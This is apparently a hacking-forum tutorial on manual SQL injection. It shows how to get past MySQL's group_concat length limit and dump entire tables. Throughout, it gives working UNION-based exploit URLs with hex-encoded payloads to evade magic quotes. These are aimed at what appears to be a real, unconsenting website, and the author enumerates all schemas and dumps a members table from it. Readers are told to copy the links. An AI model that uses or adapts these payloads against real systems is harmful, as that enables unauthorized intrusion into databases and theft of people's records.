PART 1 - Advanced SQL Injection - Bypass 1024 Character Limit

Salam Visitor's.. 



When i started SQL Injection, at first, i used different tools like SQL Map etc .. (which is no doubt a very good tool) and i used to think, why don't people use these tools, why they prefer manual Injection.



Well .. the answer is simple. Lots of things you can do manually can never be done by these tools. Now I only use them when I'm doing Blind Injection.



So, I have decided to write a series of tutorials on SQL Injection from Medium to Advanced Level. There's nothing new from my side in these tutorials except the explanation (The Best i can do). I'm just posting what i have learnt. These threads/articles will be my creation. Not the methods but the threads. 



I have already posted a Basic Tutorial .. Check it here if you haven't checked it yet.



Adding HTML in SQL Injection ( SQLi FUN )





So, In this first part I'm going to show you guys:




1) How to Bypass 1024 character Limit of group_concat().

2) How to Dump a complete table using single query.





1) How to Bypass 1024 character Limit of group_concat():



Some functions in MySQL are limited to a character length of 1024 characters. Now, this limit can be increased only if you're a MySQL 'Root' User.

But, in our case we do not have the permissions to change these limits.

One of the very handy functions we use in our SQL Injection query is group_concat().

This function returns a string with concatenated non-NULL values from a group and by default it is also limited to a character length of 1024.



To demonstrate this whole scenario, I've chosen few targets. For this Example the target I'm going to use is:



hxxp://www.padaweb.org/about.php?cid=2



Here the parameter 'cid' is vulnerable to very simple SQL Injection.



By quickly evaluating the vulnerable columns, this is the query.



hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+1,2,3,4--





The vulnerable columns are 1 and 2. Column 1 is in the title of the webpage, where as column 2 is on the webpage. Now i can Inject in Column 2. But just forthe sake of fun, I will inject in Column 1. But first i will use my previous tutorial called
" Adding HTML tags in SQL Injection "
to bring that column 1 from the title of the webpage to the main webpage. 



So, by looking at the source:





I know to bring this column on the webpage i have to close <title> tag as </title>. But as Magic Quotes are 'ON' so i have to convert my HTML tag to HEX first.



My query will be:


hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(</title>,database()),2,3,4--



[b]After converting </title> to HEX:

hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(0x3c2f7469746c653e,database()),2,3,4--



And see the result now:



Now if you want to add some colors and stuff follow my previous tutorial.



Coming to the actual goal again, by quickly evaluating all the tables i have found an interesting table

here: tblMember in the main database: padaorg_pada



Lets get the column names of this table. The query will be:



Before Converting to HEX:



hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(</title>,group_concat(<br>,column_name)),2,3,4+from+information_schema.columns+where+table_name=tblMember--



I have to convert the HTML tags in HEX and tblMember to CHAR() as Magic Quotes are 'ON'.



so after converting:



hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(0x3c2f7469746c653e,group_concat(0x3c62723e,column_nam​e)),2,3,4+from+information_schema.columns+where+table_name=CHAR(116, 98, 108, 77, 101, 109, 98, 101, 114)--







Now, by looking at all the column names some one may think that these are all the column names, but no, we have more, we couldn't dump them because of the1024 character limit.



By Using this query i can find no. of Columns in tblMember:



hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(0x3c2f7469746c653e,count(column_name)),2,3,4+from+inf​ormation_schema.columns+where+table_name=CHAR(116, 98, 108, 77, 101, 109, 98, 101, 114)--


That is : 35 Rows of Data







so we are missing some columns here.



Lets do one more test. Lets grab the data in some of the columns.



This query will tell me, how many Entries or Rows are there in this table:


hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(0x3c2f7469746c653e,count(*)),2,3,4+from+tblMember--



That is: 45 Rows of Data







Lets see how many do we get using group_concat():



hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(0x3c2f7469746c653e,group_concat(0x3c62723e,Member_Nam​e,0x3a,Date_Time_Created,0x3a,Date_Time_Modified)),2,3,4+from+tblMember--



That is: 18 Rows of Data







So, we are definitely missing some data here and you know the reason.



To bypass this we are going to use simple programming logic i.e Iterations. Take a look at this code:

PHP Code:

(
 select (@x)
 from (
 select (@x:=0x00),
            (
 select (0)
 from (information_schema.columns)
 where (table_schema!='information_schema') and (0x00)
            in (@x:=concat(@x,'<br>',table_schema,'-->',table_name,'-->',column_name))
 )
 )x) 

Yea .. i know it looks horrible ..  .. but don't worry .. this piece of code will do wonders for us. Let me explain what's happening here.

Warning : IF you have a Weak Heart, Leave this thread at this very moment 



So, we are declaring a variable 'x' here and with the help of nested SELECT statement we will iterate through each and every Table Name and Column name of all the databases available except for 'information_schema' which is not required as it just gives access to the MetaData of the databases and thus all the Column names will be printed with their respective Table names.



I will put this whole code in my SQL Injection query in my vulnerable Column i.e column 1.



Lets try this. My Query will become:



hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(0x3c2f7469746c653e,(select (@x) from (select (@x:=0x00), (select (0) from(information_schema.columns) where (table_schema!='information_schema') and (0x00) in (@x:=concat(@x,'<br>',table_schema,'-->',table_name,'-->',column_name))))x)),2,3,4--



But this will NOT work ..  why? because magic quotes are 'ON'. we have to do some Hexing here.



So after Hexing:



hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(0x3c2f7469746c653e,(select (@x) from (select (@x:=0x00), (select (0) from(information_schema.columns) where (table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (0x00) in (@x:=concat(@x,0x3c62723e,table_schema,0x2d2d3e,table_name,0x2d2d3e,column_name)​)))x)),2,3,4--







Lets add some Colors to it  (Be Nice Plz, I know This Query will be HUGE) :



hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(0x3c2f7469746c653e,(select (@x) from (select (@x:=0x00), (select (0) from(information_schema.columns) where (table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (0x00) in (@x:=concat(@x,0x3c62723e,0x3c666f6e742073697a653d22352220636f6c6f723d2272656422​3e,table_schema,0x3c2f666f6e743e,0x2d2d3e,0x3c666f6e742073697a653d22342220636f6c​6f723d22677265656e223e,table_name,0x3c2f666f6e743e,0x2d2d3e3c666f6e7420636f6c6f7​23d22626c7565223e,column_name))))x)),2,3,4--



Check the result ( SWEET  ) :









2) How to Dump a complete table in one go.



So, after all this, there must be a way to dump a whole table (Data in all Columns) with one Single Query. We are going to use a similar code again but with littlemodification.

PHP Code:

(
 select (@)
 from (
 select (@:=0x00),
           (
 select (@)
 from TABLE_NAME_HERE
 where (@) in (@:=concat(@,'<br>',FIRST_COLUMN_HERE,'-->',SECOND_COLUMN_HERE,'-->',AND_SO_ON))
           )

     )a) 

Lets try this. By using this whole code in our Query:



hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(0x3c2f7469746c653e,(select (@) from (select (@:=0x00), (select (@) from tblMember where (@) in (@:=concat(@,0x3c62723e,0x3c666f6e742073697a653d22352220636f6c6f723d22726564223e​,Member_Name,0x3c2f666f6e743e,0x2d2d3e,0x3c666f6e742073697a653d22342220636f6c6f7​23d22677265656e223e,Date_Time_Created,0x3c2f666f6e743e,0x2d2d3e,0x3c666f6e742063​6f6c6f723d22626c7565223e,Date_Time_Modified,0x3c2f666f6e743e))))a)),2,3,4--









That is : 45  ( Which was previously 18 using group_concat)







That's it for the day..The Best SQL Injectors I've ever known .. I hope this was informative .. Thank you so much for reading one of the longest threads 


NOTE: If you copy paste these links from here into your browser tab, make sure to paste it in notepad first and delete these bugs .. 





these Bugs Appear because when we copy paste directly from blog thread page, we also copy some unicode characters like this zero width space &'#8203;which when comes in a query doesn't show the results properly ..